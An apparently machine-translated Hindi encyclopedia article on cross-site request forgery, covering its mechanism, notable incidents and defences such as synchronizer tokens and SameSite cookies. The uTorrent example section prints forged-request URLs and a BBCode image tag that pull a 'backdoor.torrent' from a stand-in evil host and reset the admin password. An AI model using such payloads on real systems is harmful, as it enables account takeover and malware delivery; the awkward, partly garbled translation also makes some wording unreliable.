सीएसआरएफ अटैक में, अटैक्स का टारगेट निर्दोष विक्टिम को इंडवेरटेन्ट में उस वेबसाइट पर मालिसियस रूप से तैयार किए गए वेब रिक्वेस्ट को सबमिट करने के लिए प्रेरित करना है, जिस तक विक्टिम के पास विशेषाधिकार प्राप्त पहुंच है। इस वेब रिक्वेस्ट को यूआरएल पैरामीटर, कुकीज़ और अन्य डेटा को सम्मिलित करने के लिए तैयार किया जा सकता है। जो रिक्वेस्ट को संसाधित करने वाले वेब सर्वर के लिए सामान्य प्रतीत होते हैं। इस प्रकार से रिस्क में वे वेब एप्लिकेशन हैं, जो विशिष्ट निरूपण के लिए उपयोगकर्ता को प्राधिकरण (जैसे पॉपअप पुष्टिकरण के माध्यम से) की आवश्यकता के बिना विश्वसनीय और ओथेन्टिकेटेड उपयोगकर्ताओं से इनपुट के आधार पर कार्य करते हैं। किन्तु उपयोगकर्ता जो उपयोगकर्ता के वेब ब्राउज़र में सेव्ड की गई एचटीटीपी कुकी द्वारा प्रमाणित है, और इंडवेरटेन्ट में उस साइट पर एचटीटीपी रिक्वेस्ट भेज सकता है। जो की उपयोगकर्ता पर विश्वास करती है। और इस तरह अवांछित निरूपण का कारण बन सकती है।

किन्तु वेब ब्राउज़र की जनरल प्रॉपर्टी यह है कि वे स्वचालित रूप से और इंविसिबली रूप से उस डोमेन पर भेजे गए किसी भी वेब रिक्वेस्ट में किसी दिए गए डोमेन द्वारा उपयोग की जाने वाली किसी भी कुकीज़ (सेशन कुकीज़ और अन्य सहित) को सम्मिलित करते है। और सीएसआरएफ अटैक्स द्वारा इस प्रॉपर्टी को दमन किया जाता है। ऐसी स्थिति में जब किसी उपयोगकर्ता को अपने ब्राउज़र के माध्यम से इंडवेरटेन्ट में रिक्वेस्ट सबमिट करने के लिए धोखा दिया जाता है, तो ये स्वचालित रूप से सम्मिलित विक्टिम के अकाउंट में परिवर्तन कुकीज़ वेब सर्वर पर जाली रिक्वेस्ट को वास्तविक दिखने का कारण बनेंगी और यह डेटा लौटाने, सेशन स्थिति में परिवर्तन करने या बनाने सहित कोई भी उचित अनुरोधित निरूपण करता है।

अतः सीएसआरएफ अटैक को कार्य करने के लिए, अटैक्स को रेप्रोडयूसिबले वेब रिक्वेस्ट की पहचान करनी करती है, जो टारगेट पेज पर खाता पासवर्ड परिवर्तन जैसी विशिष्ट निरूपण निष्पादित करता है। इस प्रकार से ऐसे रिक्वेस्ट की पहचान हो जाने पर, लिंक बनाया जा सकता है जो इस मालिसियस रिक्वेस्ट को उत्पन्न करता है। और उस लिंक को अटैक्स के नियंत्रण में पेज पर एम्बेड किया जा सकता है।[1][4] यह लिंक इस तरह से रखा जा सकता है कि विक्टिम के लिए लिंक पर क्लिक करना भी आवश्यक नहीं है। अतः उदाहरण के लिए, इसे विक्टिम को भेजे गए ईमेल पर एचटीएमएल इमेज टैग्स के अन्दर एम्बेड किया जा सकता है। जो विक्टिम द्वारा अपना ईमेल खोलने पर स्वचालित रूप से लोड हो जाता है। एक बार जब विक्टिम लिंक पर क्लिक कर देता है, तो उनका ब्राउज़र स्वचालित रूप से उस वेबसाइट द्वारा उपयोग की जाने वाली किसी भी कुकीज़ को सम्मिलित कर लेता है। और वेब सर्वर पर रिक्वेस्ट सबमिट कर देता है। किन्तु वेब सर्वर जालसाजी की पहचान करने में सक्षम नहीं होते है। क्योंकि रिक्वेस्ट उस उपयोगकर्ता द्वारा किया गया था। जिसने इस पेज को लॉग इन किया था। और सभी अपेक्षित कुकीज़ सबमिट की थीं।

क्रॉस-साइट रिक्वेस्ट जालसाजी वेब ब्राउज़र के विरुद्ध कन्फ्यूज्ड डिप्टी का उदाहरण है क्योंकि वेब ब्राउज़र को कम विशेषाधिकार प्राप्त अटैक्स द्वारा जाली रिक्वेस्ट सबमिट करने के लिए धोखा दिया जाता है।

इस प्रकार से सीएसआरएफ में सामान्यतः निम्नलिखित विशेषताएं होती हैं:

  • इसमें ऐसी साइटें सम्मिलित हैं जो उपयोगकर्ता की ऑनलाइन आइडेंटिटी पर निर्भर करती हैं।
  • यह उस आइडेंटिटी में साइट के विश्वास को दमन करता है।
  • यह उपयोगकर्ता के ब्राउज़र को टारगेट साइट पर एचटीटीपी रिक्वेस्ट भेजने के लिए प्रेरित करता है जहां उपयोगकर्ता पहले से ही प्रमाणित है।
  • इसमें एचटीटीपी रिक्वेस्ट सम्मिलित हैं जिनका साइड इफेक्ट (कंप्यूटर साइंस) है।

इतिहास

इस प्रकार से सीएसआरएफ टोकन निर्बलता ज्ञात हैं। और कुछ स्तिथियो में 2001 से उनका दमन किया गया है।[5] क्योंकि यह उपयोगकर्ता के आईपी एड्रेस से किया जाता है, कुछ वेबसाइट लॉग में सीएसआरएफ का प्रमाण नहीं हो सकता है।[2] कम से कम सार्वजनिक रूप से, और 2007 तक, दमन की कम रिपोर्ट की गई है।[6] इस प्रकार से कुछ वेल-डॉक्यूमेंटेड इसके उदाहरण थे:

  • 2006 में नेटफ्लिक्स वेबसाइट में सीएसआरएफ के लिए अनेक निर्बलता थीं, जो अटैक्स को विक्टिम की किराये की कतार में डीवीडी ऐडडिंग, अकाउंट पर शिपिंग एड्रेस परिवर्तन, या पूर्ण रूप से समझौता करने के लिए विक्टिम के लॉगिन क्रेडेंशियल को परिवर्तन जैसे कार्य करने की अनुमति दे सकती थी।[7]
  • आईएनजी डायरेक्ट का ऑनलाइन बैंकिंग वेब एप्लिकेशन सीएसआरएफ अटैक के प्रति संवेदनशील था जो अवैध मनी ट्रान्सफर की अनुमति देता था।[8]
  • लोकप्रिय वीडियो वेबसाइट यूट्यूब भी 2008 में सीएसआरएफ के प्रति संवेदनशील थी और इसने किसी भी अटैक्स को किसी भी उपयोगकर्ता के लगभग सभी कार्यों को करने की अनुमति दी थी।[8]
  • मैक्एफ़ी सिक्योरिटीज भी सीएसआरएफ के प्रति संवेदनशील थी और इसने अटैक्सों को अपनी कंपनी सिस्टम को परिवर्तन की अनुमति दी। इसे न्यु वर्जन में ठीक कर दिया गया है.[9]

अतः 2018 में वेब-इनेबल्ड डिवाइस के विरुद्ध न्यु अटैक किए गए, जिनमें राउटर की डीएनएस सेटिंग्स को परिवर्तन के प्रयास भी सम्मिलित थे। कुछ राउटर निर्माताओं ने सुरक्षा में सुधार के लिए शीघ्रता में फर्मवेयर अपडेट रेलीज़ड किए है, और रिस्क को कम करने के लिए उपयोगकर्ताओं को राउटर सेटिंग्स परिवर्तन की सलाह दी है। इस प्रकार से ''ऑब्वियस सिक्योरिटी रीज़न'' का सिटिंग देते हुए विवरण रेलीज़ड नहीं किया गया है।[10]

उदाहरण

सीएसआरएफ वल्नेरेबिलिटी का वर्णन करने वाला राष्ट्रीय वल्नेरेबिलिटी डेटाबेस पेज

अटैक्स जो रेप्रोडयूसिबले लिंक फाइंड कर सकते हैं। जो विक्टिम के लॉग इन होने पर टारगेट पेज पर विशिष्ट निरूपण निष्पादित करता है, वे ऐसे लिंक को उस पेज पर एम्बेड कर सकते हैं जिसे वे नियंत्रित करते हैं और विक्टिम को इसे खोलने के लिए धोखा दे सकते हैं।[1] इस प्रकार से अटैक्स कर्रिएर लिंक को उस स्थान पर रखा जा सकता है जहां टारगेट साइट (उदाहरण के लिए, डिस्कशन फ़ोरम) में लॉग इन करते समय विक्टिम के आने की संभावना है, या एचटीएमएल ईमेल बॉडी या अनुलग्नक में भेजा जा सकता है। यूटोरेंट में वास्तविक सीएसआरएफ वल्नेरेबिलिटी (CVE-2008-6586) ने इस तथ्य का लाभ उठाया कि इसका वेब कंसोल लोकलहोस्ट :8080 पर पहुंच योग्य है। ने साधारण जीईटी रिक्वेस्ट का उपयोग करके महत्वपूर्ण कार्रवाइयों को निष्पादित करने की अनुमति दी है:

एक .torrent फ़ाइल डाउनलोड को बाध्य करें
http://localhost:8080/gui/?action=add-url&s=http://evil.example.com/backdoor.torrent
यूटोरेंट व्यवस्थापक पासवर्ड चेंज
http://localhost:8080/gui/?action=setsetting&s=webui.password&v=eviladmin

फ़ोरम और ईमेल स्पैम पर मालिसियस, स्वचालित-क्रिया वाले एचटीएमएल तत्व इमेज और ऑब्जेक्ट डालकर अटैक प्रारंभ किए गए है, जिससे इन पेज पर जाने वाले ब्राउज़र उन्हें उपयोगकर्ता की अधिक निरूपण के बिना स्वचालित रूप से खोल सकते है। इन पेजों को खोलने के साथ ही असुरक्षित यूटोरेंट संस्करण चलाने वाले लोग अटैक के प्रति संवेदनशील थे।

इमेज टैग्स का उपयोग करके सीएसआरएफ अटैक प्रायः इंटरनेट फ़ोरम से किए जाते हैं, जहां उपयोगकर्ताओं को इमेजेस पोस्ट करने की अनुमति होती है किन्तु जावास्क्रिप्ट की नहीं, उदाहरण के लिए बीबीसीओडी का उपयोग करना: 

[img]http://localhost:8080/gui/?action=add-url&s=http://evil.example.com/backdoor.torrent[/img]

स्थानीय यूटोरेंट एप्लिकेशन पर अटैक के लिंक तक पहुँचने पर localhost:8080, ब्राउज़र हमेशा उस डोमेन के लिए किसी भी उपस्तिथ एचटीटीपी कुकीज़ को स्वचालित रूप से भेज देगा। वेब ब्राउज़र की यह जनरल प्रॉपर्टी सीएसआरएफ अटैक्स को उनकी टारगेट दुर्बलता का लाभ उठाने और शत्रुतापूर्ण कार्यों को अंजाम देने में सक्षम बनाती है, जब तक कि उपयोगकर्ता अटैक के समय टारगेट वेबसाइट (इस उदाहरण में, स्थानीय यूटोरेंट वेब इंटरफ़ेस) में लॉग इन है।

ऊपर वर्णित यूटोरेंट उदाहरण में, अटैक को इस तथ्य से सुविधाजनक बनाया गया था कि यूटोरेंट के वेब इंटरफ़ेस ने महत्वपूर्ण राज्य-परिवर्तन संचालन (क्रेडेंशियल परिवर्तन, फ़ाइल डाउनलोड इत्यादि) के लिए जीईटी रिक्वेस्ट का उपयोग किया था, जो RFC 2616 स्पष्ट रूप से हतोत्साहित करता है:

विशेष रूप से, यह परंपरा स्थापित की गई है कि जीईटी और एचईएडी विधियों में पुनर्प्राप्ति के अतिरिक्त कोई अन्य कार्रवाई करने का महत्व नहीं होना चाहिए। इन विधियों को "सेफ" माना जाना चाहिए। यह उपयोगकर्ता एजेंटों को अन्य विधियों, जैसे पोस्ट, पुट और डिलीट को एक विशेष विधियों से प्रस्तुत करने की अनुमति देता है, जिससे उपयोगकर्ता को इस तथ्य से अवगत कराया जा सके कि संभवतः असुरक्षित कार्रवाई का अनुरोध किया जा रहा है।

इस धारणा के कारण, वेब फ्रेमवर्क में अनेक उपस्तिथ सीएसआरएफ रोकथाम मेकैनिज़्म्स जीईटी रिक्वेस्ट को कवर नहीं करती है, किन्तु केवल उन एचटीटीपी विधियों पर सुरक्षा प्रयुक्त करेंगे जिनका उद्देश्य स्थान-परिवर्तन करना है।[11]

लॉगिन रिक्वेस्ट फोर्जिंग

एक अटैक्स, अटैक्स के क्रेडेंशियल्स का उपयोग करके विक्टिम को टारगेट वेबसाइट में लॉग इन करने का रिक्वेस्ट कर सकता है; इसे लॉगिन सीएसआरएफ के रूप में जाना जाता है। और लॉगिन सीएसआरएफ विभिन्न नवीन अटैक्स को संभव बनाता है; उदाहरण के लिए, कोई अटैक्स पश्चात अपनी वैलिड साख के साथ साइट पर लॉग इन कर सकता है और अकाउंट में सेव्ड की गई गतिविधि इतिहास जैसी निजी डेटा देख सकता है। यह अटैक गूगल और याहू के विरुद्ध प्रदर्शित किया गया है[12][13]

एचटीटीपी क्रियाएं और सीएसआरएफ

प्रकार के आधार पर, एचटीटीपी रिक्वेस्ट मेथेड रिक्वेस्ट सीएसआरएफ अटैक्स के प्रति उनकी संवेदनशीलता में भिन्न होती हैं (वेब ​​ब्राउज़र द्वारा उनके प्रबंधन में अंतर के कारण)। इसलिए, किसी अटैक के अधीन सुरक्षात्मक उपाय एचटीटीपी रिक्वेस्ट की विधि पर निर्भर करते हैं।

  • एचटीटीपी जीईटी में सीएसआरएफ दमन ऊपर वर्णित विधियों का उपयोग करके तुच्छ है, जैसे कि सरल हाइपरलिंक जिसमें परिवर्तन किए गए पैरामीटर होते हैं और स्वचालित रूप से एचटीएमएल तत्व या इमेज और ऑब्जेक्ट द्वारा लोड किया जाता है। चूंकि, एचटीटीपी विनिर्देशन के अनुसार, जीईटी को हाइपरटेक्स्ट ट्रांसफर प्रोटोकॉल या सुरक्षित विधियों के रूप में उपयोग किया जाना चाहिए, अर्थात, एप्लिकेशन में उपयोगकर्ता की स्थिति को महत्वपूर्ण रूप से नहीं परिवर्तन करना चाहिए। ऐसे परिचालनों के लिए जीईटी का उपयोग करने वाले एप्लिकेशनों को एचटीटीपी पोस्ट पर स्विच करना चाहिए या एंटी-सीएसआरएफ सुरक्षा का उपयोग करना चाहिए।
  • सीएसआरएफ के लिए एचटीटीपी पोस्ट वल्नेरेबिलिटी उपयोग परिदृश्य पर निर्भर करती है:
    • क्वेरी स्ट्रिंग के रूप में एन्कोड किए गए डेटा के साथ पोस्ट के सरलतम रूप में (field1=value1&field2=value2) सीएसआरएफ अटैक को सरल फॉर्म (एचटीएमएल) का उपयोग करके सरलता से प्रयुक्त किया जाता है और सीएसआरएफ विरोधी उपायों को प्रयुक्त किया जाना चाहिए।
    • यदि डेटा किसी अन्य प्रारूप (जेएसओएन, एक्सएमएल) में भेजा जाता है, तो समान-मूल नीति (एसओपी) और क्रॉस-मूल रिसोर्स शेयरिंग (सीओआरएस) द्वारा रोके गए सीएसआरएफ अटैक्स के साथ XMLHttpRequests का उपयोग करके पोस्ट रिक्वेस्ट रेलीज़ड करना मानक विधि है; सरल फॉर्म (एचटीएमएल) का उपयोग करके इच्छानुसार कॉन्टेंट भेजने की तकनीक है: ENCTYPE गुण; ऐसे नकली रिक्वेस्ट को वैलिड रिक्वेस्ट से अलग किया जा सकता है text/plain कॉन्टेंट प्रकार, किन्तु यदि इसे सर्वर पर प्रयुक्त नहीं किया जाता है, तो सीएसआरएफ निष्पादित किया जा सकता है[14][15]
  • अन्य एचटीटीपी विधियां (पुट, डिलीट आदि) केवल सीएसआरएफ को रोकने वाली समान-मूल नीति (एसओपी) और क्रॉस-साइट रिसोर्स शेयरिंग (सीओआरएस ) के साथ XMLHttpRequests का उपयोग करके रेलीज़ड की जा सकती हैं; चूंकि ये उपाय उन वेबसाइटों पर सक्रिय नहीं होंगे जो स्पष्ट रूप से इनका उपयोग अक्षम करते हैं Access-Control-Allow-Origin: * हैडर

सीएक्सएमएलएसआरएफ के लिए अन्य दृष्टिकोण

इसके अतिरिक्त, जबकि सामान्यतः स्थिर प्रकार के अटैक के रूप में वर्णित किया जाता है, सीएसआरएफ को क्रॉस-साइट स्क्रिप्टिंग अटैक के लिए पेलोड के भाग के रूप में गतिशील रूप से भी बनाया जा सकता है, जैसा कि सैमी (एक्सएसएस) वर्म द्वारा प्रदर्शित किया गया है, या लीक हुई सेशन डेटा से फ्लाई पर बनाया गया है। ऑफसाइट कॉन्टेंट के माध्यम से और मालिसियस यूआरएल के रूप में टारगेट को भेजा जाता है। सेशन फिक्सेशन या अन्य दुर्बलता के कारण किसी अटैक्स द्वारा सीएसआरएफ टोकन भी क्लाइंट को भेजे जा सकते हैं, या ब्रूट-फोर्स अटैक के माध्यम से अनुमान लगाया जा सकता है, जो मालिसियस पेज पर प्रस्तुत किया जाता है जो हजारों असफल रिक्वेस्ट उत्पन्न करता है। डायनामिक सीएसआरएफ के अटैक्स वर्ग, या सेशन-विशिष्ट जालसाजी के लिए प्रति-ग्राहक पेलोड का उपयोग करने का वर्णन किया गया था[16] अतः 2009 में ब्लैकहैट ब्रीफिंग में नाथन हैमील और शॉन मोयर द्वारा किया जाता है,[17] चूंकि वर्गीकरण को अभी भी व्यापक रूप से अपनाया जाना बाकी है।

गतिशील सीएसआरएफ अटैक की रचना के लिए एक नया वेक्टर ओरेन ओफ़र द्वारा जनवरी 2012- "एजेएक्स हैमर - डायनेमिक सीएसआरएफ" में एक स्थानीय ओडब्ल्यूएएसपी चैप्टर की मीटिंग में प्रस्तुत किया गया था ।[18][19]

प्रभाव

सीएसआरएफ टोकन दुर्बलता के लिए सेवेरीटी आव्यूह रेलीज़ड किए गए हैं जिसके परिणामस्वरूप रूट विशेषाधिकारों के साथ रिमोट कोड एक्सेक्यूटिव होता है[20] साथ ही वल्नेरेबिलिटी जो रूट सर्टिफिकेट से समझौता कर सकती है, जो पब्लिक कीय को मूलभूत रूप से उंडेरमिने कर देती है।[21]

सीमाएँ

इस प्रकार से क्रॉस-साइट रिक्वेस्ट जालसाजी के सफल होने के लिए अनेक चीजें होनी चाहिए:

  1. अटैक्स को या तो ऐसी साइट को टारगेट बनाना चाहिए जो एचटीटीपी रेफरर की चेक नहीं करती है या किसी ऐसे ब्राउज़र या प्लगइन वाले विक्टिम को टारगेट बनाना चाहिए जो रेफरर स्पूफ़िंग की अनुमति देता है।[22]
  2. अटैक्स को टारगेट साइट पर फ़ॉर्म सबमिशन, या यूआरएल सर्च करना होता है। जिसके दुष्प्रभाव हों, जो कुछ करता हो (उदाहरण के लिए, पैसे ट्रांसफर करता है, या विक्टिम का ई-मेल एड्रेस या पासवर्ड परिवर्तन है)।
  3. अटैक्स को सभी फॉर्म या यूआरएल इनपुट के लिए सही मान निर्धारित करना होगा; यदि उनमें से किसी को भी गुप्त ओथेन्टिकेटेड मान या आईडी की आवश्यकता होती है जिसका अटैक्स अनुमान नहीं लगा सकता है, तो अटैक संभवतः विफल हो जाएगा (जब तक कि अटैक्स अपने अनुमान में अत्यंत लकी न हो)।
  4. जब विक्टिम टारगेट साइट पर लॉग इन हो तो अटैक्स को विक्टिम को मालिसियस कोड वाले वेब पेज पर लुभाना चाहिए।

इस प्रकार से अटैक ब्लाइंड है: अटैक्स यह नहीं देख सकता कि जाली रिक्वेस्ट के जवाब में टारगेट वेबसाइट विक्टिम को क्या भेजती है, जब तक कि वे टारगेट वेबसाइट पर क्रॉस-साइट स्क्रिप्टिंग या अन्य बग का लाभ नहीं उठाते है। इसी तरह, अटैक्स केवल किसी भी लिंक को टारगेट कर सकता है या प्रारंभिक जाली रिक्वेस्ट के पश्चात आने वाले किसी भी फॉर्म को सबमिट कर सकता है यदि वे बाद के लिंक या फॉर्म समान रूप से पूर्वानुमानित होते है। (एक पेज पर अनेक इमेजेस को सम्मिलित करके, या क्लिकों के मध्य देरी प्रारंभ करने के लिए जावास्क्रिप्ट का उपयोग करके अनेक टारगेट का अनुकरण किया जा सकता है।)[23]

रोकथाम

अधिकांश सीएसआरएफ रोकथाम तकनीकें रिक्वेस्ट में अतिरिक्त ओथेन्टिकेटेड डेटा एम्बेड करके कार्य करती हैं। जो वेब एप्लिकेशन को अनधिकृत स्थानों से रिक्वेस्ट का पता लगाने की अनुमति देती है।

सिंक्रोनाइज़र टोकन पैटर्न

सिंक्रोनाइज़र टोकन पैटर्न (एसटीपी) ऐसी तकनीक है। जहां टोकन, प्रत्येक रिक्वेस्ट के लिए गुप्त और अद्वितीय मान, सभी एचटीएमएल रूपों में वेब एप्लिकेशन द्वारा एम्बेड किया जाता है और सर्वर साइड पर सत्यापित किया जाता है। टोकन किसी भी विधि से उत्पन्न किया जा सकता है जो अप्रत्याशितता और विशिष्टता सुनिश्चित करता (उदाहरण के लिए यादृच्छिक बीज की हैश श्रृंखला का उपयोग करना)है। इस प्रकार अटैक्स अपने रिक्वेस्ट को प्रमाणित करने के लिए उनमें सही टोकन डालने में असमर्थ है।[1][24][25]

एचटीएमएल फॉर्म में जैंगो (वेब ​​फ्रेमवर्क) द्वारा निर्धारित एसटीपी का उदाहरण: 

<input type="hidden" name="csrfmiddlewaretoken" value="KbyUmhTLMpYj7CD2di7JKP1P3qmLlkPt" />

एसटीपी सबसे अधिक संगत है क्योंकि यह केवल एचटीएमएल पर निर्भर करता है, किन्तु प्रत्येक रिक्वेस्ट पर टोकन की वैधता की चेक से जुड़े बोझ के कारण सर्वर साइड पर कुछ कॉम्प्लेक्सिटी प्रस्तुत करता है। चूंकि टोकन अद्वितीय और अप्रत्याशित है, यह घटनाओं के उचित अनुक्रम को भी प्रयुक्त करता है (उदाहरण के लिए स्क्रीन 1, फिर 2, फिर 3) जो प्रयोज्य समस्या को उत्पन्न करते है (उदाहरण के लिए उपयोगकर्ता अनेक टैब खोलता है)। प्रति रिक्वेस्ट सीएसआरएफ टोकन के अतिरिक्त प्रति सेशन सीएसआरएफ टोकन का उपयोग करके इसमें छूट दी जा सकती है।

कुकी-टू-हेडर टोकन

वेब एप्लिकेशन जो अपने अधिकांश कार्यों के लिए जावास्क्रिप्ट का उपयोग करते हैं, वे निम्नलिखित एंटी-सीएसआरएफ तकनीक का उपयोग कर सकते हैं:

  • किसी संबद्ध सर्वर सेशन के बिना प्रारंभिक विज़िट पर, वेब एप्लिकेशन कुकी सेट करता है। कुकी में सामान्यतः यादृच्छिक टोकन होता है जो वेब सेशन के जीवनकाल तक समान रह सकता है
Set-Cookie: __Host-csrf_token=i8XNjC4b8KVok4uw5RftR38Wgp2BFwql; Expires=Thu, 23-Jul-2015 10:25:33 GMT; Max-Age=31449600; Path=/; SameSite=Lax; Secure
  • क्लाइंट साइड पर कार्य करने वाला जावास्क्रिप्ट इसके मान को पढ़ता है और इसे प्रत्येक लेनदेन रिक्वेस्ट के साथ भेजे गए कस्टम एचटीटीपी हेडर में कॉपी करता है
X-Csrf-Token: i8XNjC4b8KVok4uw5RftR38Wgp2BFwql
  • सर्वर टोकन की उपस्थिति और संपूर्णता को मान्य करता है

इस तकनीक की सुरक्षा इस धारणा पर आधारित है कि केवल सर्वर पर एचटीटीपीएस कनेक्शन के क्लाइंट साइड पर चलने वाली जावास्क्रिप्ट जो प्रारंभ में कुकी सेट करती है, कुकी के मान को पढ़ने में सक्षम होती है। किसी रोगे फ़ाइल या ईमेल से चलने वाली जावास्क्रिप्ट कस्टम हेडर में कॉपी करने के लिए कुकी मान को सफलतापूर्वक पढ़ने में सक्षम नहीं होनी चाहिए। यहां तक ​​कि तथापि csrf-token कुकी स्वचालित रूप से रोगे रिक्वेस्ट के साथ भेजी जा सकती है, कुकी सेमसाइट नीति के अधीन, सर्वर अभी भी वैलिड की अपेक्षा करेगा X-Csrf-Token शीर्ष लेख.

सीएसआरएफ टोकन स्वयं अद्वितीय और अप्रत्याशित होना चाहिए। इसे यादृच्छिक रूप से उत्पन्न किया जा सकता है, या इसे एचएमएसी का उपयोग करके सेशन कुकी से प्राप्त किया जा सकता है: 

csrf_token = HMAC(session_token, application_secret)

सीएसआरएफ टोकन कुकी में httpOnly फ़्लैग नहीं होना चाहिए, क्योंकि इसे डिज़ाइन द्वारा जावास्क्रिप्ट द्वारा पढ़ने का अभिप्राय है।

यह तकनीक अनेक आधुनिक फ़्रेमवर्क जैसे जैंगो (वेब ​​फ़्रेमवर्क) और एंगुलरजेएस द्वारा कार्यान्वित की जाती है,[26] [27] क्योंकि टोकन पूरे उपयोगकर्ता सेशन में स्थिर रहता है, यह एजेएएक्स एप्लिकेशनों के साथ उचित प्रकार से कार्य करता है, किन्तु वेब एप्लिकेशन में घटनाओं के अनुक्रम को प्रयुक्त नहीं करता है।

यदि टारगेट वेबसाइट निम्नलिखित तकनीकों में से किसी का उपयोग करके अपनी समान-मूल नीति को अक्षम कर देती है, तो इस तकनीक द्वारा प्रदान की गई सुरक्षा को विफल किया जा सकता है:

  • clientaccesspolicy.xml सिल्वरलाइट नियंत्रणों तक अनपेक्षित पहुंच प्रदान करती है।[28]
  • crossdomain.xml फ्लैश फिल्मों तक अनपेक्षित पहुंच प्रदान करने वाली फ़ाइल है।[29]


डबल सबमिट कुकी

इस प्रकार से कुकी-टू-हेडर दृष्टिकोण के समान, किन्तु जावास्क्रिप्ट को सम्मिलित किए बिना, साइट सीएसआरएफ टोकन को कुकी के रूप में सेट कर सकती है, और इसे प्रत्येक एचटीएमएल फॉर्म में छिपे हुए फ़ील्ड के रूप में भी डाल सकती है। जब फॉर्म सबमिट किया जाता है, तो साइट चेक कर सकती है कि कुकी टोकन फॉर्म टोकन से मेल खाता है, या नहीं खाता है। जिससे समान-मूल नीति किसी अटैक्स को टारगेट डोमेन पर कुकीज़ पढ़ने या सेट करने से रोकती है, इसलिए वे अपने तैयार किए गए फॉर्म में वैलिड टोकन नहीं डाल सकते हैं।[30]

अतः सिंक्रोनाइज़र पैटर्न की तुलना में इस तकनीक का लाभ यह है कि टोकन को सर्वर पर संग्रहीत करने की आवश्यकता नहीं होती है।

सेमसाईट कुकी विशेषता

जब सर्वर कुकी सेट करता है, तो इसके अतिरिक्त "सेमसाइट" विशेषता सम्मिलित की जा सकती है, जो ब्राउज़र को निर्देश देती है कि कुकी को क्रॉस-साइट रिक्वेस्ट में संलग्न किया जाए या नहीं। यदि यह विशेषता ''स्ट्रीक'' पर सेट है, तो कुकी केवल उसी साइट रिक्वेस्ट पर भेजी जाएगी, जिससे सीएसआरएफ अप्रभावी हो जाते है। चूंकि, इसके लिए ब्राउज़र को विशेषता को पहचानने और सही रूप से प्रयुक्त करने की आवश्यकता होती है।[31]

ग्राहक-पक्ष सुरक्षा उपाय

ब्राउज़र एक्सटेंशन जैसे रिक्वेस्टपॉलिसीय (मोज़िला फ़ायरफ़ॉक्स के लिए) या uMatrix (फ़ायरफ़ॉक्स और गूगल क्रोम/क्रोमियम (वेब ​​​​ब्राउज़र) दोनों के लिए) क्रॉस-साइट रिक्वेस्ट के लिए डिफ़ॉल्ट-अस्वीकार नीति प्रदान करके सीएसआरएफ को रोक सकता है। चूंकि, यह अनेक वेबसाइटों के सामान्य संचालन में महत्वपूर्ण हस्तक्षेप कर सकता है। सीएसफायर एक्सटेंशन (फ़ायरफ़ॉक्स के लिए भी) क्रॉस-साइट रिक्वेस्ट से ओथेन्टिकेटेड डेटा को हटाकर, सामान्य ब्राउज़िंग पर कम प्रभाव के साथ सीएसआरएफ के प्रभाव को कम कर सकता है।

अतः फ़ायरफ़ॉक्स के लिए नोस्क्रिप्ट एक्सटेंशन अविश्वसनीय साइटों से विश्वसनीय को अलग करके और अविश्वसनीय साइटों द्वारा विश्वसनीय लोगों को भेजे गए पोस्ट रिक्वेस्ट से ओथेन्टिकेटेड और पेलोड को हटाकर सीएसआरएफ संकट को कम करता है। और नोस्क्रिप्ट में एप्लिकेशन बाउंड्री एनफोर्सर मॉड्यूल इंटरनेट पेजों से स्थानीय साइटों (जैसे लोकलहोस्ट) पर भेजे गए रिक्वेस्ट को भी ब्लॉक करता है, जिससे स्थानीय सेवाओं (जैसे यूटोरेंट) या राउटर पर सीएसआरएफ के अटैक्स को रोका जा सकता है।

चूंकि फ़ायरफ़ॉक्स के लिए सेल्फ डिस्ट्रक्टिंग कुकीज़ एक्सटेंशन सीधे सीएसआरएफ से रक्षा नहीं करता है, किन्तु कुकीज़ को हटाकर, जैसे ही वे ओपन टैब से संबद्ध नहीं होते हैं, किन्तु अटैक की विंडो को कम कर सकता है।

अन्य तकनीकें

इस प्रकार से ऐतिहासिक रूप से सीएसआरएफ की रोकथाम के लिए अनेक अन्य तकनीकों का उपयोग या प्रस्ताव किया गया है:

  • यह सत्यापित करना कि रिक्वेस्ट के शीर्षलेखों में सम्मिलित है X-Requested-With (v2.0 से पहले रूबी ऑन रेल्स द्वारा और v1.2.5 से पहले जैंगो (वेब ​​फ्रेमवर्क) द्वारा उपयोग किया जाता है), या एचटीटीपी की जाँच कर रहा है Referer हेडर और/या एचटीटीपी Origin हेडर.[32] चूंकि, यह असुरक्षित है - ब्राउज़र प्लगइन्स और रीडायरेक्ट का संयोजन अटैक्स को किसी भी वेबसाइट के रिक्वेस्ट पर कस्टम एचटीटीपी हेडर प्रदान करने की अनुमति दे सकता है, जिससे जाली रिक्वेस्ट की अनुमति मिलती है।[33][34]
  • एचटीटीपी रेफरर एचटीटीपी की जाँच करना Referer हेडर यह देखने के लिए कि क्या रिक्वेस्ट किसी अधिकृत पेज से आ रहा है, सामान्यतः एम्बेडेड नेटवर्क डिवाइस के लिए उपयोग किया जाता है क्योंकि यह मेमोरी आवश्यकताओं को नहीं बढ़ाता है। चूंकि, रिक्वेस्ट जो Referer हेडर को छोड़ देता है अनधिकृत माना जाना चाहिए क्योंकि कोई Referer हेडर एफ़टीपी या एचटीटीपीएस यूआरएल से रिक्वेस्ट रेलीज़ड करके अटैक्स इसे दबा सकता है । यह स्ट्रीक Referer सत्यापन उन ब्राउज़रों या प्रॉक्सी के साथ समस्याएँ उत्पन्न कर सकता है जो Referer हेडरगोपनीयता कारणों से इसे छोड़ देते हैं। साथ ही, फ़्लैश के पुराने संस्करण (9.0.18 से पहले) मालिसियस फ़्लैश को एचटीटीपी प्रतिक्रिया विभाजन का उपयोग करके इच्छानुसार रूप से एचटीटीपी रिक्वेस्ट हेडर के साथ जीईटी या पोस्ट रिक्वेस्ट उत्पन्न करने की अनुमति देते हैं।[35] और क्लाइंट में समान सीआरएलएफ इंजेक्शन दुर्बलता का उपयोग एचटीटीपी रिक्वेस्ट के रेफरर को धोखा देने के लिए किया जा सकता है।
